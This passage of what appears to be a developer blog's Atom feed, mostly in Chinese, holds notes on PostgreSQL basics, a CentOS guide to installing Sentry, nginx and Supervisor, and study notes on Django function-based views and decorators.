FOREIGN KEY (product_group_id) REFERENCES product_groups;</li><li>ALTER TABLE products ALTER COLUMN product_no SET NOT NULL;</li></ul></li><li>删除约束<ul><li>ALTER TABLE products DROP CONSTRAINT some_name;</li><li>ALTER TABLE products DROP CONSTRAINT some_name CASCADE;</li><li>ALTER TABLE products ALTER COLUMN product_no DROP NOT NULL;</li></ul></li><li>修改缺省值<ul><li>ALTER TABLE products ALTER COLUMN price SET DEFAULT 7.77;</li><li>ALTER TABLE products ALTER COLUMN price DROP DEFAULT;</li></ul></li><li>修改字段数据类型<ul><li>ALTER TABLE products ALTER COLUMN price TYPE numeric(10,2);</li></ul></li><li>重命名字段<ul><li>ALTER TABLE products RENAME COLUMN product_no TO product_number;</li></ul></li><li>重命名表<ul><li>ALTER TABLE products RENAME TO items;</li></ul></li></ul><h3 id="架构schema"><a href="#架构schema" class="headerlink" title="架构schema"></a>架构schema</h3><h4 id="自定义schema"><a href="#自定义schema" class="headerlink" title="自定义schema"></a>自定义schema</h4><p>用途：</p><ul><li>允许多个用户使用一个数据库而不会干扰其它用户。</li><li>把数据库对象组织成逻辑组，让它们更便于管理。</li><li>第三方的应用可以放在不同的模式中，这样它们就不会和其它对象的名字冲突。</li></ul><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">database.schema.table</span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">SCHEMA</span> myschema;</span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TABLE</span> myschema.mytable (</span><br><span class="line"> ...</span><br><span class="line">);</span><br><span class="line"><span class="keyword">DROP</span> <span class="keyword">SCHEMA</span> myschema;</span><br><span class="line"><span class="keyword">DROP</span> <span class="keyword">SCHEMA</span> myschema <span class="keyword">CASCADE</span>;</span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">SCHEMA</span> schemaname AUTHORIZATION username;</span><br></pre></td></tr></table></figure><h4 id="The-Public-Schema"><a href="#The-Public-Schema" class="headerlink" title="The Public Schema"></a>The Public Schema</h4><p>CREATE TABLE products ( … );<br>CREATE TABLE public.products ( … );</p><h4 id="The-Schema-Search-Path"><a href="#The-Schema-Search-Path" class="headerlink" title="The Schema Search Path"></a>The Schema Search Path</h4><p>SHOW search_path;<br>SET search_path TO myschema,public;<br>DROP TABLE mytable;</p><h4 id="Schemas-and-Privileges"><a href="#Schemas-and-Privileges" class="headerlink" title="Schemas and Privileges"></a>Schemas and Privileges</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">REVOKE</span> <span class="keyword">CREATE</span> <span class="keyword">ON</span> <span class="keyword">SCHEMA</span> <span class="keyword">public</span> <span class="keyword">FROM</span> <span class="keyword">PUBLIC</span>;</span><br></pre></td></tr></table></figure><p>不允许所有用户有CREATE的权限，第一个”public”是schema，第二个”PUBLIC”意思是”所有用户”</p><h4 id="The-System-Catalog-Schema"><a href="#The-System-Catalog-Schema" class="headerlink" title="The System Catalog Schema"></a>The System Catalog Schema</h4><p>pg_catalog 它包含系统表和所有内置数据类型、函数、操作符</p><h2 id="数据操作"><a href="#数据操作" class="headerlink" title="数据操作"></a>数据操作</h2><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">INSERT</span> <span class="keyword">INTO</span> products (<span class="keyword">name</span>, price, product_no) <span class="keyword">VALUES</span> (<span class="string">'Cheese'</span>, <span class="number">9.99</span>, <span class="number">1</span>);</span><br><span class="line"><span class="keyword">INSERT</span> <span class="keyword">INTO</span> products (product_no, <span class="keyword">name</span>, price) <span class="keyword">VALUES</span></span><br><span class="line"> (<span class="number">1</span>, <span class="string">'Cheese'</span>, <span class="number">9.99</span>),</span><br><span class="line"> (<span class="number">2</span>, <span class="string">'Bread'</span>, <span class="number">1.99</span>),</span><br><span class="line"> (<span class="number">3</span>, <span class="string">'Milk'</span>, <span class="number">2.99</span>);</span><br><span class="line"><span class="keyword">UPDATE</span> mytable <span class="keyword">SET</span> a = <span class="number">5</span>, b = <span class="number">3</span>, c = <span class="number">1</span> <span class="keyword">WHERE</span> a > <span class="number">0</span>;</span><br><span class="line"><span class="keyword">DELETE</span> <span class="keyword">FROM</span> products <span class="keyword">WHERE</span> price = <span class="number">10</span>;</span><br></pre></td></tr></table></figure><h2 id="查询"><a href="#查询" class="headerlink" title="查询"></a>查询</h2><h3 id="表连接"><a href="#表连接" class="headerlink" title="表连接"></a>表连接</h3><ul><li>CROSS JOIN (卡笛尔积 Cartesian product)</li><li>INNER JOIN ON</li><li>INNER JOIN USING</li><li>NATURAL INNER JOIN</li><li>LEFT JOIN</li><li>RIGHT JOIN</li><li>FULL JOIN</li></ul><h3 id="子查询"><a href="#子查询" class="headerlink" title="子查询"></a>子查询</h3><p>子查询的结果(派生表)必须包围在圆括弧里并且必须赋予一个别名</p><h3 id="表函数"><a href="#表函数" class="headerlink" title="表函数"></a>表函数</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TABLE</span> foo (fooid <span class="built_in">int</span>, foosubid <span class="built_in">int</span>, fooname <span class="built_in">text</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">FUNCTION</span> getfoo(<span class="built_in">int</span>) <span class="keyword">RETURNS</span> SETOF foo <span class="keyword">AS</span> $$</span><br><span class="line"> <span class="keyword">SELECT</span> * <span class="keyword">FROM</span> foo <span class="keyword">WHERE</span> fooid = $<span class="number">1</span>;</span><br><span class="line">$$ LANGUAGE SQL;</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> * <span class="keyword">FROM</span> getfoo(<span class="number">1</span>) <span class="keyword">AS</span> t1;</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> * <span class="keyword">FROM</span> foo</span><br><span class="line"> <span class="keyword">WHERE</span> foosubid <span class="keyword">IN</span> (</span><br><span class="line"> <span class="keyword">SELECT</span> foosubid</span><br><span class="line"> <span class="keyword">FROM</span> getfoo(foo.fooid) z</span><br><span class="line"> <span class="keyword">WHERE</span> z.fooid = foo.fooid</span><br><span class="line"> );</span><br><span class="line"></span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">VIEW</span> vw_getfoo <span class="keyword">AS</span> <span class="keyword">SELECT</span> * <span class="keyword">FROM</span> getfoo(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> * <span class="keyword">FROM</span> vw_getfoo;</span><br></pre></td></tr></table></figure><h3 id="LATERAL-Subqueries"><a href="#LATERAL-Subqueries" class="headerlink" title="LATERAL Subqueries"></a>LATERAL Subqueries</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> p1.id, p2.id, v1, v2</span><br><span class="line"><span class="keyword">FROM</span> polygons p1, polygons p2,</span><br><span class="line"> LATERAL vertices(p1.poly) v1,</span><br><span class="line"> LATERAL vertices(p2.poly) v2</span><br><span class="line"><span class="keyword">WHERE</span> (v1 <-> v2) < <span class="number">10</span> <span class="keyword">AND</span> p1.id != p2.id;</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> p1.id, p2.id, v1, v2</span><br><span class="line"><span class="keyword">FROM</span> polygons p1 <span class="keyword">CROSS</span> <span class="keyword">JOIN</span> LATERAL vertices(p1.poly) v1,</span><br><span class="line"> polygons p2 <span class="keyword">CROSS</span> <span class="keyword">JOIN</span> LATERAL vertices(p2.poly) v2</span><br><span class="line"><span class="keyword">WHERE</span> (v1 <-> v2) < <span class="number">10</span> <span class="keyword">AND</span> p1.id != p2.id;</span><br></pre></td></tr></table></figure><h3 id="The-GROUP-BY-and-HAVING-Clauses"><a href="#The-GROUP-BY-and-HAVING-Clauses" class="headerlink" title="The GROUP BY and HAVING Clauses"></a>The GROUP BY and HAVING Clauses</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> select_list <span class="keyword">FROM</span> ... [<span class="keyword">WHERE</span> ...] <span class="keyword">GROUP</span> <span class="keyword">BY</span> ... <span class="keyword">HAVING</span> boolean_expression</span><br><span class="line"><span class="keyword">SELECT</span> product_id, p.name, (<span class="keyword">sum</span>(s.units) * (p.price - p.cost)) <span class="keyword">AS</span> profit</span><br><span class="line"> <span class="keyword">FROM</span> products p <span class="keyword">LEFT</span> <span class="keyword">JOIN</span> sales s <span class="keyword">USING</span> (product_id)</span><br><span class="line"> <span class="keyword">WHERE</span> s.date > <span class="keyword">CURRENT_DATE</span> - <span class="built_in">INTERVAL</span> <span class="string">'4 weeks'</span></span><br><span class="line"> <span class="keyword">GROUP</span> <span class="keyword">BY</span> product_id, p.name, p.price, p.cost</span><br><span class="line"> <span class="keyword">HAVING</span> <span class="keyword">sum</span>(p.price * s.units) > <span class="number">5000</span>;</span><br></pre></td></tr></table></figure><h3 id="GROUPING-SETS-CUBE-and-ROLLUP"><a href="#GROUPING-SETS-CUBE-and-ROLLUP" class="headerlink" title="GROUPING SETS, CUBE, and ROLLUP"></a>GROUPING SETS, CUBE, and ROLLUP</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">=> SELECT * FROM items_sold;</span><br><span class="line"> brand | size | sales</span><br><span class="line"><span class="comment">-------+------+-------</span></span><br><span class="line"> Foo | L | 10</span><br><span class="line"> Foo | M | 20</span><br><span class="line"> Bar | M | 15</span><br><span class="line"> Bar | L | 5</span><br><span class="line">(4 rows)</span><br><span class="line"></span><br><span class="line">=> SELECT brand, size, sum(sales) FROM items_sold GROUP BY GROUPING SETS ((brand), (size), ());</span><br><span class="line"> brand | size | sum</span><br><span class="line"><span class="comment">-------+------+-----</span></span><br><span class="line"> Foo | | 30</span><br><span class="line"> Bar | | 20</span><br><span class="line"> | L | 15</span><br><span class="line"> | M | 35</span><br><span class="line"> | | 50</span><br><span class="line">(5 rows)</span><br></pre></td></tr></table></figure><h3 id="Combining-Queries"><a href="#Combining-Queries" class="headerlink" title="Combining Queries"></a>Combining Queries</h3><p>对两个查询的结果进行集合操作(并、交、差)</p><ul><li>query1 UNION [ALL] query2</li><li>query1 INTERSECT [ALL] query2</li><li>query1 EXCEPT [ALL] query2</li></ul><h3 id="Sorting-Rows"><a href="#Sorting-Rows" class="headerlink" title="Sorting Rows"></a>Sorting Rows</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> select_list</span><br><span class="line"> <span class="keyword">FROM</span> table_expression</span><br><span class="line"> <span class="keyword">ORDER</span> <span class="keyword">BY</span> sort_expression1 [<span class="keyword">ASC</span> | <span class="keyword">DESC</span>] [<span class="keyword">NULLS</span> { <span class="keyword">FIRST</span> | <span class="keyword">LAST</span> }]</span><br><span class="line"> [, sort_expression2 [<span class="keyword">ASC</span> | <span class="keyword">DESC</span>] [<span class="keyword">NULLS</span> { <span class="keyword">FIRST</span> | <span class="keyword">LAST</span> }] ...]</span><br></pre></td></tr></table></figure><h3 id="LIMIT-and-OFFSET"><a href="#LIMIT-and-OFFSET" class="headerlink" title="LIMIT and OFFSET"></a>LIMIT and OFFSET</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> select_list</span><br><span class="line"> <span class="keyword">FROM</span> table_expression</span><br><span class="line"> [ <span class="keyword">ORDER</span> <span class="keyword">BY</span> ... ]</span><br><span class="line"> [ <span class="keyword">LIMIT</span> { <span class="built_in">number</span> | ALL } ] [ <span class="keyword">OFFSET</span> <span class="built_in">number</span> ]</span><br></pre></td></tr></table></figure><h2 id="数据类型"><a href="#数据类型" class="headerlink" title="数据类型"></a>数据类型</h2><p>PostgreSQL有着丰富的内置数据类型可用。 用户还可以使用CREATE TYPE命令增加新的数据类型。</p><table><thead><tr><th>名字</th><th>别名</th><th>描述</th></tr></thead><tbody><tr><td>bigint</td><td>int8</td><td>有符号8字节整数</td></tr><tr><td>bigserial</td><td>serial8</td><td>自增8字节整数</td></tr><tr><td>bit [ (n) ]</td><td></td><td>定长位串</td></tr><tr><td>bit varying [ (n) ]</td><td>varbit</td><td>可变长位串</td></tr><tr><td>boolean</td><td>bool</td><td>逻辑布尔值(真/假)</td></tr><tr><td>box</td><td></td><td>平面上的矩形</td></tr><tr><td>bytea</td><td></td><td>二进制数据(“字节数组”)</td></tr><tr><td>character varying [ (n) ]</td><td>varchar [ (n) ]</td><td>可变长字符串</td></tr><tr><td>character [ (n) ]</td><td>char [ (n) ]</td><td>定长字符串</td></tr><tr><td>cidr</td><td></td><td>IPv4 或 IPv6 网络地址</td></tr><tr><td>circle</td><td></td><td>平面上的圆</td></tr><tr><td>date</td><td></td><td>日历日期(年, 月, 日)</td></tr><tr><td>double precision</td><td>float8</td><td>双精度浮点数(8字节)</td></tr><tr><td>inet</td><td></td><td>IPv4 或 IPv6 主机地址</td></tr><tr><td>integer</td><td>int, int4</td><td>有符号 4 字节整数</td></tr><tr><td>interval [ fields ] [ (p) ]</td><td></td><td>时间间隔</td></tr><tr><td>line</td><td></td><td>平面上的无限长直线</td></tr><tr><td>lseg</td><td></td><td>平面上的线段</td></tr><tr><td>macaddr</td><td></td><td>MAC (Media Access Control)地址</td></tr><tr><td>money</td><td></td><td>货币金额</td></tr><tr><td>numeric [ (p, s) ]</td><td>decimal [ (p, s) ]</td><td>可选精度的准确数值数据类型</td></tr><tr><td>path</td><td></td><td>平面上的几何路径</td></tr><tr><td>point</td><td></td><td>平面上的点</td></tr><tr><td>polygon</td><td></td><td>平面上的封闭几何路径</td></tr><tr><td>real</td><td>float4</td><td>单精度浮点数(4 字节)</td></tr><tr><td>smallint</td><td>int2</td><td>有符号 2 字节整数</td></tr><tr><td>smallserial</td><td>serial2</td><td>自增 2 字节整数</td></tr><tr><td>serial</td><td>serial4</td><td>自增 4 字节整数</td></tr><tr><td>text</td><td></td><td>可变长字符串</td></tr><tr><td>time [ (p) ] [ without time zone ]</td><td></td><td>一天中的时刻(无时区)</td></tr><tr><td>time [ (p) ] with time zone</td><td>timetz</td><td>一天中的时刻，含时区</td></tr><tr><td>timestamp [ (p) ] [ without time zone ]</td><td></td><td>日期与时刻(无时区)</td></tr><tr><td>timestamp [ (p) ] with time zone</td><td>timestamptz</td><td>日期与时刻，含时区</td></tr><tr><td>tsquery</td><td></td><td>文本检索查询</td></tr><tr><td>tsvector</td><td></td><td>文本检索文档</td></tr><tr><td>txid_snapshot</td><td></td><td>用户级别的事务ID快照</td></tr><tr><td>uuid</td><td></td><td>通用唯一标识符</td></tr><tr><td>xml</td><td></td><td>XML 数据</td></tr><tr><td>json</td><td></td><td>JSON 数据</td></tr></tbody></table><p>如果你要求精确的计算(比如计算货币金额)，应使用numeric(decimal)类型</p><h2 id="并发控制"><a href="#并发控制" class="headerlink" title="并发控制"></a>并发控制</h2><ul><li>MVCC (Multiversion Concurrency Control)</li><li>Table- and row-level locking</li></ul><h3 id="transaction-isolation"><a href="#transaction-isolation" class="headerlink" title="transaction isolation"></a>transaction isolation</h3><table><thead><tr><th>Isolation Level</th><th>Dirty Read</th><th>Nonrepeatable Read</th><th>Phantom Read</th><th>Serialization Anomaly</th></tr></thead><tbody><tr><td>Read uncommitted</td><td>Allowed, but not in PG</td><td>Possible</td><td>Possible</td><td>Possible</td></tr><tr><td>Read committed</td><td>Not possible</td><td>Possible</td><td>Possible</td><td>Possible</td></tr><tr><td>Repeatable read</td><td>Not possible</td><td>Not possible</td><td>Allowed, but not in PG</td><td>Possible</td></tr><tr><td>Serializable</td><td>Not possible</td><td>Not possible</td><td>Not possible</td><td>Not possible</td></tr></tbody></table><p>PostgreSQL 中默认的隔离级别是Read committed</p><h2 id="默认函数"><a href="#默认函数" class="headerlink" title="默认函数"></a>默认函数</h2><p>random()<br>rank()</p>]]></content>
<summary type="html">
<h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><pre><code>➜ brew install postgres
==&gt; Downloading https://homebrew.bintray.com/bottles/postgresql-9.4.4.yosemite.bottle.tar.
######################################################################## 100.0%
==&gt; Pouring postgre&lt;kbd&gt;b&lt;/kbd&gt;sql-9.4.4.yosemite.bottle.tar.gz
==&gt; Caveats
If builds of PostgreSQL 9 are failing and you have version 8.x installed,
you may need to remove the previous version first. See:
https://github.com/Homebrew/homebrew/issues/2510
To migrate existing data from a previous major version (pre-9.4) of PostgreSQL, see:
https://www.postgresql.org/docs/9.4/static/upgrading.html
To have launchd start postgresql at login:
ln -sfv /usr/local/opt/postgresql/*.plist ~/Library/LaunchAgents
Then to load postgresql now:
launchctl load ~/Library/LaunchAgents/homebrew.mxcl.postgresql.plist
Or, if you don&apos;t want/need launchctl, you can just run:
postgres -D /usr/local/var/postgres
==&gt; /usr/local/Cellar/postgresql/9.4.4/bin/initdb /usr/local/var/postgres
==&gt; Summary
🍺 /usr/local/Cellar/postgresql/9.4.4: 3014 files, 40M
</code></pre>
</summary>
<category term="DevOps" scheme="https://morningchen.com/categories/DevOps/"/>
<category term="PostgreSQL" scheme="https://morningchen.com/tags/PostgreSQL/"/>
</entry>
<entry>
<title>Install Sentry and Supervisor on Centos</title>
<link href="https://morningchen.com/2015/09/16/install-sentry-on-centos/"/>
<id>https://morningchen.com/2015/09/16/install-sentry-on-centos/</id>
<published>2015-09-16T12:35:02.000Z</published>
<updated>2018-09-27T03:52:39.000Z</updated>
<content type="html"><![CDATA[<h3 id="安装依赖"><a href="#安装依赖" class="headerlink" title="安装依赖"></a>安装依赖</h3><p>安装前先用virtualenv创建一个隔离环境</p><pre><code>yum updateyum -y install python-setuptools python-setuptools-develyum install libxml2-devel libxslt-devel python-devel -yyum install gcc libffi-devel openssl-devel -yyum -y install mysql-server mysql mysql-develyum install epel-release -ypip install MySQL-python</code></pre><h3 id="启动mysql和redis"><a href="#启动mysql和redis" class="headerlink" title="启动mysql和redis"></a>启动mysql和redis</h3><pre><code>sudo service mysqld startredis-server</code></pre><a id="more"></a><h3 id="安装sentry"><a href="#安装sentry" class="headerlink" title="安装sentry"></a>安装sentry</h3><pre><code>pip install sentry</code></pre><p>配置文件：</p><pre><code>sentry init</code></pre><p>修改生成文件sentry.conf.py，主要修改以下字段：</p><pre><code>DATABASESSENTRY_ADMIN_EMAILSENTRY_URL_PREFIXSENTRY_REDIS_OPTIONS</code></pre><p>启动sentry:</p><pre><code>sentry --config=/root/.sentry/sentry.conf.py upgradesentry start</code></pre><h3 id="安装nginx"><a href="#安装nginx" class="headerlink" title="安装nginx"></a>安装nginx</h3><pre><code>vi /etc/yum.repos.d/nginx.repo[nginx]name=nginx repobaseurl=http://nginx.org/packages/centos/6/x86_64/gpgcheck=0enabled=1yum updateyum install nginx</code></pre><p>启动nginx</p><pre><code>sudo service nginx restart</code></pre><h3 id="安装supervisor"><a href="#安装supervisor" class="headerlink" title="安装supervisor"></a>安装supervisor</h3><pre><code>easy_install supervisorecho_supervisord_conf > /path/to/supervisord.confvi /etc/supervisord.conf[program:sentry-web]directory=/home/work/sentry/environment=SENTRY_CONF=/root/.sentry/sentry.conf.pycommand=/home/work/sentry/bin/sentry startautostart=trueautorestart=trueredirect_stderr=truestdout_logfile=syslogstderr_logfile=syslog[program:sentry-worker]directory=/home/work/sentry/environment=SENTRY_CONF=/root/.sentry/sentry.conf.pycommand=/home/work/sentry/bin/sentry celery worker -Bautorestart=trueredirect_stderr=truestdout_logfile=syslogstderr_logfile=syslogvi /etc/nginx/conf.d/sentry.confserver { listen 80; server_name sentry.yourhost.com; location / { proxy_pass http://127.0.0.1:9000; proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }}supervisord -c /etc/supervisord.confsupervisorctl updatesupervisorctl</code></pre>]]></content>
<summary type="html">
<h3 id="安装依赖"><a href="#安装依赖" class="headerlink" title="安装依赖"></a>安装依赖</h3><p>安装前先用virtualenv创建一个隔离环境</p>
<pre><code>yum update
yum -y install python-setuptools python-setuptools-devel
yum install libxml2-devel libxslt-devel python-devel -y
yum install gcc libffi-devel openssl-devel -y
yum -y install mysql-server mysql mysql-devel
yum install epel-release -y
pip install MySQL-python
</code></pre><h3 id="启动mysql和redis"><a href="#启动mysql和redis" class="headerlink" title="启动mysql和redis"></a>启动mysql和redis</h3><pre><code>sudo service mysqld start
redis-server
</code></pre>
</summary>
<category term="DevOps" scheme="https://morningchen.com/categories/DevOps/"/>
<category term="Sentry" scheme="https://morningchen.com/tags/Sentry/"/>
<category term="Supervisor" scheme="https://morningchen.com/tags/Supervisor/"/>
<category term="Nginx" scheme="https://morningchen.com/tags/Nginx/"/>
</entry>
<entry>
<title>Two Scoops of Django 1.8 学习笔记五</title>
<link href="https://morningchen.com/2015/09/14/Two-Scoops-of-Django-1-8-notes-5/"/>
<id>https://morningchen.com/2015/09/14/Two-Scoops-of-Django-1-8-notes-5/</id>
<published>2015-09-14T15:38:38.000Z</published>
<updated>2018-09-27T14:12:31.000Z</updated>
<content type="html"><![CDATA[<h2 id="9-FBVs最佳实践"><a href="#9-FBVs最佳实践" class="headerlink" title="9. FBVs最佳实践"></a>9. FBVs最佳实践</h2><h3 id="9-1-FBVs的优势"><a href="#9-1-FBVs的优势" class="headerlink" title="9.1 FBVs的优势"></a>9.1 FBVs的优势</h3><p>虽然FBVs不能像CBVs一样有继承。但它确实有更显著的功能优势<br>写FBVs的时候我们遵循以下指南：</p><ul><li>越少代码越好</li><li>杜绝重复的代码</li><li>Views应该处理演示逻辑。如果有必要的话，试着把业务逻辑放在models中或者forms中</li><li>保证views的简洁</li><li>用他们写自定义的403，404，500错误处理</li><li>使用复杂的嵌套-如果要避免阻塞的话</li></ul><h3 id="9-2-传递HttpRequest对象"><a href="#9-2-传递HttpRequest对象" class="headerlink" title="9.2 传递HttpRequest对象"></a>9.2 传递HttpRequest对象</h3><p>有些时候我们想在views中重用代码，但是并没有想中间件和上下文处理器一样把它和全局功能联系起来。<br>在这本书的开头，我们建议创建跨项目的功能函数。<br>对于多数功能函数而言，我们从<code>django.http.HttpRequest</code>对象中拿到一个或多个属性，来收集数据或者执行操作。<br>通过把request对象作为首要参数，我们能在更多的方法上拥有更简单的参数。这意味着我们只需要传一个HttpRequest对象就可以了<br><a id="more"></a></p><pre><code># sprinkles/utils.pyfrom django.core.exceptions import PermissionDenieddef check_sprinkle_rights(request): if request.user.can_sprinkle or request.user.is_staff: return request # Return a HTTP 403 back to the user raise PermissionDenied</code></pre><p><code>check_sprinkle_rights()</code>这个函数的作用是检查用户的权限，抛出<code>django.core.exceptions.PermissionDenied</code>异常</p><p>你会注意到我们返回了一个HttpRequest对象，而不是返回任意的值或者返回None。我们这样做的原因是，python作为动态类型的语言，我们能给HttpRequest加上额外的属性。看下面的例子：</p><pre><code># sprinkles/utils.pyfrom django.core.exceptions import PermissionDenieddef check_sprinkles(request): if request.user.can_sprinkle or request.user.is_staff: # By adding this value here it means our display templates # can be more generic. We don't need to have {% raw %} # {% if request.user.can_sprinkle or request.user.is_staff %} # instead just using # {% if request.can_sprinkle %} {% endraw %} request.can_sprinkle = True return request # Return a HTTP 403 back to the user raise PermissionDenied</code></pre><p>还有一个原因要简单说下。同时，我们看下views的代码</p><pre><code># sprinkles/views.pyfrom django.shortcuts import get_object_or_404from django.shortcuts import renderfrom .utils import check_sprinklesfrom .models import Sprinkledef sprinkle_list(request): """Standard list view""" request = check_sprinkles(request) return render(request, "sprinkles/sprinkle_list.html", {"sprinkles": Sprinkle.objects.all()})def sprinkle_detail(request, pk): """Standard detail view""" request = check_sprinkles(request) sprinkle = get_object_or_404(Sprinkle, pk=pk) return render(request, "sprinkles/sprinkle_detail.html", {"sprinkle": sprinkle})def sprinkle_preview(request): """"preview of new sprinkle, but without the check_sprinkles function being used. """ sprinkle = Sprinkle.objects.all() return render(request, "sprinkles/sprinkle_preview.html", {"sprinkle": sprinkle})</code></pre><p>这个方法的另一个特点是可以集成到CBVs里：</p><pre><code># sprinkles/views.pyfrom django.views.generic import DetailViewfrom .utils import check_sprinklesfrom .models import Sprinkleclass SprinkleDetail(DetailView): """Standard detail view""" model = Sprinkle def dispatch(self, request, *args, **kwargs): request = check_sprinkles(request) return super(SprinkleDetail, self).dispatch( request, *args, **kwargs)</code></pre><h3 id="9-3-Decorators-Are-Sweet"><a href="#9-3-Decorators-Are-Sweet" class="headerlink" title="9.3 Decorators Are Sweet"></a>9.3 Decorators Are Sweet</h3><p>在计算机科学的说法中，给编程语言加上语法糖的做法是为了让事情更容易理解和表达。在python中，装饰器的功能添加可以让人类阅读起来更清晰更甜美。 下面是装饰器用于FBVs的样板：</p><pre><code># simple decorator templateimport functoolsdef decorator(view_func): @functools.wraps(view_func) def new_view_func(request, *args, **kwargs): # You can modify the request (HttpRequest) object here. response = view_func(request, *args, **kwargs) # You can modify the response (HttpResponse) object here. return response return new_view_func</code></pre><p>举个具体的例子：</p><pre><code># sprinkles/decorators.pyfrom functools import wrapsfrom . import utils# based off the decorator template from Example 8.5def check_sprinkles(view_func): """Check if a user can add sprinkles""" @wraps(view_func) def new_view_func(request, *args, **kwargs): # Act on the request object with utils.can_sprinkle() request = utils.can_sprinkle(request) # Call the view function response = view_func(request, *args, **kwargs) # Return the HttpResponse object return response return new_view_func</code></pre><p>上面写好了一个装饰器函数。我们把他用到view里：</p><pre><code># views.pyfrom django.shortcuts import get_object_or_404, renderfrom .decorators import check_sprinklesfrom .models import Sprinkle# Attach the decorator to the view@check_sprinklesdef sprinkle_detail(request, pk): """Standard detail view""" sprinkle = get_object_or_404(Sprinkle, pk=pk) return render(request, "sprinkles/sprinkle_detail.html", {"sprinkle": sprinkle})</code></pre><h4 id="装饰器的扩展阅读资料"><a href="#装饰器的扩展阅读资料" class="headerlink" title="装饰器的扩展阅读资料"></a>装饰器的扩展阅读资料</h4><ul><li>Decorator Explained<br><a href="http://www.jeffknupp.com/blog/2013/11/29/improve-your-python-decorators-explained/" target="_blank" rel="noopener">http://www.jeffknupp.com/blog/2013/11/29/improve-your-python-decorators-explained/</a></li><li>Decorator and Functional Python<br><a href="http://www.brianholdefehr.com/decorators-and-functional-python" target="_blank" rel="noopener">http://www.brianholdefehr.com/decorators-and-functional-python</a></li><li>Decorator Cheat Sheet by author Daniel Roy Greenfeld<br><a href="http://www.pydanny.com/python-decorator-cheatsheet.html" target="_blank" rel="noopener">http://www.pydanny.com/python-decorator-cheatsheet.html</a></li><li>本书的附录C</li></ul><h3 id="9-4-传递HttpResponse对象"><a href="#9-4-传递HttpResponse对象" class="headerlink" title="9.4 传递HttpResponse对象"></a>9.4 传递HttpResponse对象</h3><p>就像用HttpRequest对象一样，我们也可以在函数之间传递HttpResponse对象。<br>一个可供选择的<code>Middleware.process_request()</code>的方法。</p><ul><li><a href="https://docs.djangoproject.com/en/1.8/topics/http/middleware/#process-response" target="_blank" rel="noopener">https://docs.djangoproject.com/en/1.8/topics/http/middleware/#process-response</a></li></ul><h2 id="10-CBVs最佳实践"><a href="#10-CBVs最佳实践" class="headerlink" title="10. CBVs最佳实践"></a>10. CBVs最佳实践</h2><p>Django提供了一个标准方式来写CBVs。事实上，在前面章节提到过，django的视图事实上就是一个调用， 他接受一个请求对象，返回一个响应对象。对于FBVs来说，这个调用就是视图函数；对于CBVs来说， 它提供了一个<code>as_view()</code>的类方法来返回这个调用。这个机制是在<code>django.views.generic.View</code>中实现的。 所有的CBVs都应该直接或者间接的继承这个类。<br>Django 也提供了一系列的通用类视图(generic class-based views, GCBVs)，它能实现在大多数web项目中实现通用的模式。</p><h3 id="10-1-CBVs指南"><a href="#10-1-CBVs指南" class="headerlink" title="10.1 CBVs指南"></a>10.1 